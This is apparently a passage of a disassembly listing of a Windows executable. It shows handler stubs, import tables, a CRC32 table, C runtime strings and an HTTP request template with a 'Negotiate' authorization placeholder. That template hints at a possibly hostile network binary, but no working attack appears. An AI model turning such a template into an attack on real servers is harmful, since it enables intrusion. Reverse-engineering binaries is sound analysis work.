; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
sub_426A88 proc near ; DATA XREF: .rdata:stru_427ED0o
; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D76C
sub_426A88 endp
; =============== S U B R O U T I N E =======================================
sub_426A90 proc near ; DATA XREF: .rdata:stru_427ED0o
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426AA6
mov ecx, [ebp+8]
jmp loc_40D76C
; ---------------------------------------------------------------------------
locret_426AA6: ; CODE XREF: sub_426A90+8j
retn
sub_426A90 endp
; ---------------------------------------------------------------------------
loc_426AA7: ; DATA XREF: sub_40D340o
mov eax, offset stru_427ED0
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426AB4 proc near ; DATA XREF: .rdata:stru_427F00o
lea ecx, [ebp+14h]
jmp loc_40D76C
sub_426AB4 endp
; =============== S U B R O U T I N E =======================================
sub_426ABC proc near ; DATA XREF: .rdata:stru_427F00o
lea ecx, [ebp-1Ch]
jmp loc_40D76C
sub_426ABC endp
; =============== S U B R O U T I N E =======================================
sub_426AC4 proc near ; DATA XREF: sub_40D4E2o
mov eax, offset stru_427F00
jmp ___CxxFrameHandler
sub_426AC4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426AD0 proc near ; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o
mov eax, offset stru_427F30
jmp ___CxxFrameHandler
sub_426AD0 endp
; =============== S U B R O U T I N E =======================================
sub_426ADA proc near ; DATA XREF: .rdata:stru_427F88o
mov ecx, [ebp-14h]
jmp sub_426564
sub_426ADA endp
; ---------------------------------------------------------------------------
loc_426AE2: ; DATA XREF: sub_4260FEo
mov eax, offset stru_427F90
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426AEC proc near ; DATA XREF: .rdata:stru_428020o
lea ecx, [ebp-20h]
jmp loc_40D76C
sub_426AEC endp
; ---------------------------------------------------------------------------
loc_426AF4: ; DATA XREF: sub_426173o
mov eax, offset stru_428028
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426AFE proc near ; DATA XREF: .rdata:stru_428044o
mov ecx, [ebp-14h]
jmp sub_426564
sub_426AFE endp
; ---------------------------------------------------------------------------
loc_426B06: ; DATA XREF: sub_4261D0o
mov eax, offset stru_42804C
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426B10 proc near ; DATA XREF: .rdata:stru_428068o
mov ecx, [ebp-10h]
jmp sub_426564
sub_426B10 endp
; ---------------------------------------------------------------------------
loc_426B18: ; DATA XREF: sub_426218o
mov eax, offset stru_428070
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426B22 proc near ; DATA XREF: .rdata:stru_4280C8o
lea ecx, [ebp-20h]
jmp loc_40D76C
sub_426B22 endp
; ---------------------------------------------------------------------------
loc_426B2A: ; DATA XREF: sub_42629Ao
mov eax, offset stru_4280D0
jmp ___CxxFrameHandler
_text ends
; Section 2. (virtual address 00027000)
; Virtual size : 00001B90 ( 7056.)
; Section size in file : 00001B90 ( 7056.)
; Offset to raw data for section: 00027000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 427000h
dword_427000 dd 77E78EAAh ; DATA XREF: sub_41036B+5ECr
; sub_41716F+C0r ...
dword_427004 dd 77E70192h ; DATA XREF: __chsize+F9r
dword_427008 dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+8r
dword_42700C dd 77E7339Ch ; DATA XREF: sub_424F80+Cr
dword_427010 dd 77E7C9E7h ; DATA XREF: sub_424F62+5r
; sub_424F73+6r
dword_427014 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Fr
; ___crtGetStringTypeA+12Dr ...
dword_427018 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+59r
; ___crtGetStringTypeA+8Dr ...
dword_42701C dd 77E73FF9h ; DATA XREF: __commit+2Cr
dword_427020 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_424009r
; __free_osfhnd:loc_424083r
dword_427024 dd 77E78406h ; DATA XREF: __ioinit+FFr
; __ioinit+166r ...
dword_427028 dd 77E79C3Dh ; DATA XREF: __ioinit+158r
; __NMSG_WRITE+143r
dword_42702C dd 77E7C931h ; DATA XREF: __ioinit+19Dr
dword_427030 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+9r
dword_427034 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_423A08r
; ___crtGetEnvironmentStringsA+E1r
dword_427038 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CEr
dword_42703C dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
dword_427040 dd 77EB9A84h ; DATA XREF: __XcptFilter+138r
dword_427044 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+42r
; ___crtLCMapStringA+14Dr ...
dword_427048 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+5Er
; ___crtLCMapStringA+A7r ...
dword_42704C dd 77F522F2h ; DATA XREF: sub_422EA8+58r
dword_427050 dd 77E6D706h ; DATA XREF: __raise_exc+215r
; _CxxThrowException(x,x)+2Er
dword_427054 dd 77E6C703h ; DATA XREF: _getSystemCP+1Ar
dword_427058 dd 77E7A13Fh ; DATA XREF: _getSystemCP+2Fr
dword_42705C dd 77E7849Fh ; DATA XREF: __setmbcp+48r
; _setSBUpLow+14r
dword_427060 dd 77E73196h ; DATA XREF: sub_424F9C+Cr
dword_427064 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+76r
; ___sbh_alloc_new_group+51r ...
dword_427068 dd 77E79E34h ; DATA XREF: sub_41E742+240r
; sub_41F216+120r ...
dword_42706C dd 77E75CB5h ; DATA XREF: sub_40111D+DFr
; WinMain(x,x,x,x)+7Ar ...
dword_427070 dd 77E77963h ; DATA XREF: sub_40111D+B8r
; WinMain(x,x,x,x)+2DBr ...
dword_427074 dd 77E61BB8h ; DATA XREF: sub_40111D+A7r
; WinMain(x,x,x,x)+2C3r ...
dword_427078 dd 77E7A099h ; DATA XREF: sub_40111D+83r
; WinMain(x,x,x,x)+DAr ...
dword_42707C dd 77E704FCh ; DATA XREF: sub_40111D+74r
; WinMain(x,x,x,x)+C4r ...
dword_427080 dd 77E61BE6h ; DATA XREF: sub_40111D+29r
; WinMain(x,x,x,x)+1F4r ...
dword_427084 dd 77E7AC37h ; DATA XREF: WinMain(x,x,x,x)+3C1r
; sub_401ACD+79Fr ...
dword_427088 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br
; sub_401ACD+76D4r ...
dword_42708C dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x):loc_401495r
; sub_41761C+15r ...
dword_427090 dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r
dword_427094 dd 77F5157Dh ; DATA XREF: WinMain(x,x,x,x)+1D8r
; WinMain(x,x,x,x)+3E6r ...
dword_427098 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_4013DCr
dword_42709C dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1B5r
; WinMain(x,x,x,x)+221r ...
dword_4270A0 dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+19Er
; sub_4100B4+110r ...
dword_4270A4 dd 77E79F93h ; DATA XREF: WinMain(x,x,x,x)+D3r
; sub_409909+2r ...
dword_4270A8 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br
; WinMain(x,x,x,x)+311r ...
dword_4270AC dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r
dword_4270B0 dd 77E7751Ah ; DATA XREF: WinMain(x,x,x,x)+2Cr
; sub_401ACD+253Br ...
dword_4270B4 dd 77E75CEBh ; DATA XREF: sub_401ACD+791Ar
; sub_40B4F5+2Br ...
dword_4270B8 dd 77E6AD34h ; DATA XREF: sub_401ACD+68CFr
; sub_4188A6+35r
dword_4270BC dd 77E71AFEh ; DATA XREF: sub_401ACD+6697r
dword_4270C0 dd 77E805D8h ; DATA XREF: sub_409909+13Ar
; sub_409909:loc_409E17r ...
dword_4270C4 dd 77E7A5FDh ; DATA XREF: sub_409909+11r
; sub_4172C1+60r ...
dword_4270C8 dd 77E65F4Ch ; DATA XREF: .text:0040ABEDr
; sub_419AE0+34r
dword_4270CC dd 77E7513Ch ; DATA XREF: .text:0040AC84r
; .text:0040B0C3r
dword_4270D0 dd 77E7C657h ; DATA XREF: .text:0040ACF8r
; .text:0040AF0Fr ...
dword_4270D4 dd 77E73C49h ; DATA XREF: sub_40B425+4Ar
; sub_40BB65+1AFr ...
dword_4270D8 dd 77F7E300h ; DATA XREF: sub_40C3E8+142r
dword_4270DC dd 77F7E21Fh ; DATA XREF: sub_40C3E8+D7r
dword_4270E0 dd 77E7C706h ; DATA XREF: sub_40C600+77r
dword_4270E4 dd 77F53275h ; DATA XREF: sub_40C600+6Br
; sub_40C600+22Fr
dword_4270E8 dd 77E77CCEh ; DATA XREF: sub_40DB5E+66r
; sub_40DC41+65r ...
dword_4270EC dd 77E78B82h ; DATA XREF: .text:0040E081r
; sub_40EED1+25r ...
dword_4270F0 dd 77E79D8Ch ; DATA XREF: .text:0040E04Fr
; sub_40EE8E+3Br ...
dword_4270F4 dd 77E73EACh ; DATA XREF: .text:0040E035r
dword_4270F8 dd 77E7A837h ; DATA XREF: .text:0040DFB4r
; sub_4100B4+1CBr ...
dword_4270FC dd 77E616B4h ; DATA XREF: sub_40EF1C+19Br
; sub_4116D6+115r ...
dword_427100 dd 77E79CE3h ; DATA XREF: sub_40EF1C+111r
; sub_411920+77r ...
dword_427104 dd 77E79C90h ; DATA XREF: sub_40EF1C+FDr
; sub_40EF1C+10Ar ...
dword_427108 dd 77E7727Ah ; DATA XREF: sub_40EF1C+74r
; sub_411827+23r ...
dword_42710C dd 77E64106h ; DATA XREF: sub_40FF31+A0r
; sub_41AF8F+1B6r
dword_427110 dd 77E64006h ; DATA XREF: sub_40FF31+8Cr
; sub_41AF8F+19Fr
dword_427114 dd 77E793EFh ; DATA XREF: sub_4100B4+1F5r
; sub_4109F1+38r ...
dword_427118 dd 77E79424h ; DATA XREF: sub_41036B+280r
; sub_41761C+135r
dword_42711C dd 77E794BFh ; DATA XREF: sub_41036B+272r
; sub_41761C+123r
dword_427120 dd 77E75E67h ; DATA XREF: sub_41036B+212r
; sub_41036B+5DBr ...
dword_427124 dd 77E75D9Eh ; DATA XREF: sub_41036B+201r
; sub_41716F+26r
dword_427128 dd 77E78C81h ; DATA XREF: sub_4109F1+6Cr
; sub_4161C1+259r ...
dword_42712C dd 77E76968h ; DATA XREF: sub_41144E+5Fr
dword_427130 dd 77E74C59h ; DATA XREF: sub_4116D6+C7r
dword_427134 dd 77EC7C51h ; DATA XREF: sub_411AAB+5Er
dword_427138 dd 77E802FCh ; DATA XREF: sub_413694+18Cr
; sub_413694+2D4r ...
dword_42713C dd 77E6D75Bh ; DATA XREF: sub_413694+182r
; sub_4143F7+FFr
dword_427140 dd 77E70F89h ; DATA XREF: sub_415D38+Dr
dword_427144 dd 77E80618h ; DATA XREF: sub_4172C1+170r
; sub_418AF1+D4r
dword_427148 dd 77E78147h ; DATA XREF: sub_4172C1+BCr
dword_42714C dd 77F51597h ; DATA XREF: sub_417493+41r
; sub_417493+F5r ...
dword_427150 dd 77F516F8h ; DATA XREF: sub_417493+21r
; sub_41761C+4Ar ...
dword_427154 dd 77E77CB7h ; DATA XREF: sub_417493+10r
; sub_41761C+40r ...
dword_427158 dd 77E7F01Ah ; DATA XREF: sub_41761C+88r
; sub_4177C3+55r
dword_42715C dd 77E61A54h ; DATA XREF: sub_41761C+56r
; sub_4177C3+97r
dword_427160 dd 77E7C3A5h ; DATA XREF: sub_41761C+34r
; sub_4177C3+2Er
dword_427164 dd 77E76A60h ; DATA XREF: sub_418699+2Dr
dword_427168 dd 77E71B14h ; DATA XREF: sub_418723+26r
dword_42716C dd 77E7166Fh ; DATA XREF: sub_418723+1Dr
dword_427170 dd 77E75090h ; DATA XREF: sub_41875E+69r
dword_427174 dd 77E74D76h ; DATA XREF: sub_41875E+36r
dword_427178 dd 77E77797h ; DATA XREF: sub_41875E+25r
dword_42717C dd 77E7011Ah ; DATA XREF: sub_4187E0+96r
dword_427180 dd 77E73CE2h ; DATA XREF: sub_4187E0+60r
dword_427184 dd 77E668D9h ; DATA XREF: sub_4188A6+15Dr
dword_427188 dd 77E79924h ; DATA XREF: sub_4190A5+13r
; ___crtLCMapStringA+20Dr ...
dword_42718C dd 77E76A2Eh ; DATA XREF: sub_419C09+DEr
dword_427190 dd 77E7FF65h ; DATA XREF: sub_41A05C+5Ar
dword_427194 dd 77EB7624h ; DATA XREF: sub_41A05C+3Dr
dword_427198 dd 77E6C29Dh ; DATA XREF: sub_41A6EA+1EBr
dword_42719C dd 77E76C1Ah ; DATA XREF: sub_41AF8F+1CFr
dword_4271A0 dd 77F5722Fh ; DATA XREF: sub_41BBE2+110r
; sub_41BBE2+22Dr ...
dword_4271A4 dd 77F6183Eh ; DATA XREF: sub_426356r
dword_4271A8 dd 77E6177Ah ; DATA XREF: start+9Fr __ioinit+59r
dword_4271AC dd 77E7C938h ; DATA XREF: start+74r
dword_4271B0 dd 77E7C486h ; DATA XREF: start+26r
dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41E52A+54r
dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41E672+50r
dword_4271BC dd 77E7C726h ; DATA XREF: sub_41E672+11r
dd 0
dword_4271C4 dd 71AB5A01h ; DATA XREF: sub_4157BA+20r
dword_4271C8 dd 71AB4122h ; DATA XREF: sub_4156D1+D4r
dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr
dword_4271D0 dd 71AB401Ch ; DATA XREF: sub_4131EC+21Br
; sub_4131EC+243r
dword_4271D4 dd 71AB1836h ; DATA XREF: sub_40F9BF+6Er
; sub_40FA3C+8Er
dword_4271D8 dd 71AB41DAh ; DATA XREF: sub_40F3AA+4Ar
; sub_40F9BF+15r
dword_4271DC dd 71AB3F8Dh ; DATA XREF: sub_40F3AA+5Ar
dword_4271E0 dd 71AB155Ah ; DATA XREF: sub_40F3AA+8Dr
; sub_414251+70r ...
dword_4271E4 dd 71AB3ECEh ; DATA XREF: sub_40F3AA+B5r
dword_4271E8 dd 71AB5DE2h ; DATA XREF: sub_40F3AA+C9r
dword_4271EC dd 71AB868Dh ; DATA XREF: sub_40F3AA+171r
dword_4271F0 dd 71AB12F8h ; DATA XREF: sub_40E9FB+27r
; sub_40F9BF+35r ...
dword_4271F4 dd 71AB1746h ; DATA XREF: sub_40E9FB+36r
; sub_40F9BF+41r ...
dword_4271F8 dd 71AB3E5Dh ; DATA XREF: sub_40E9FB+59r
; sub_40EAE9+45r ...
dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar
; sub_40F3AA+1E1r
dword_427200 dd 71AB1A6Dh ; DATA XREF: sub_40E9FB+E0r
; sub_40EAE9:loc_40EB55r ...
dword_427204 dd 71AB3C22h ; DATA XREF: .text:0040D64Cr
; sub_40E9FB+45r ...
dword_427208 dd 71AB1AF4h ; DATA XREF: sub_40D2A2+12r
; sub_40E9FB+C3r ...
dword_42720C dd 71AB1890h ; DATA XREF: sub_40D104+4Cr
; sub_40F3AA+106r
dword_427210 dd 71AB1B7Bh ; DATA XREF: sub_426350r
dword_427214 dd 71AB157Eh ; DATA XREF: sub_401ACD+2F5Fr
align 10h
dword_427220 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o
; sub_401ACD+3514o ...
dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o
; sub_401ACD+388Ao ...
; char aGetHttp1_0Host[]
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr
dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r
dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ...
align 10h
dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r
dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+5Bo ...
dbl_427690 dq 9.765625e-4 ; DATA XREF: sub_4167A0+2BDr
; sub_4167A0+2D8r ...
dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r
dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r
dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r
; sub_417E84+3A7r
dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r
dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br
; sub_417E84+2D5r ...
dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r
dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr
; sub_417E84+138r ...
dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r
; sub_417E84+308r
dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r
dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br
flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r
flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr
flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r
flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r
dbl_4276F8 dq 1.0 ; DATA XREF: _floor+6Cr _ceil+6Cr ...
dword_427700 dd 0FFFFFFFFh, 41E2AAh, 41E2BEh ; DATA XREF: start+5o
; char Str1[]
Str1 db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo
align 4
byte_42773C db 6 ; DATA XREF: __output:loc_41FF96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_43D094o
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: .data:off_43D090o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .data:off_43D30Co
dbl_427860 dq 0.0 ; DATA XREF: __handle_exc+8Cr
; __handle_exc+ACr ...
dbl_427868 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_427870 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo
align 10h
; char aE000[]
aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o
align 4
dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: ___FrameUnwindToState+5o
dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
dd offset sub_422AEA
align 8
dd offset sub_422AC8
dd offset sub_422AD2
dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0
; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: unknown_libname_5+5o
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o
dd offset loc_422E4D
align 10h
dd offset loc_422E39
dd offset loc_422E3D
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o
dd offset loc_422EA3
align 8
dd offset loc_422E8F
dd offset loc_422E93
dword_427920 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+36o
; ___crtGetStringTypeA+39o ...
dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
; DATA XREF: ___crtLCMapStringA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43D4DCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
align 10h
; char asc_427BF0[]
asc_427BF0 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o
db 0Ah,0
align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
db 0Ah
db 'Program: ',0
align 10h
; char a___[]
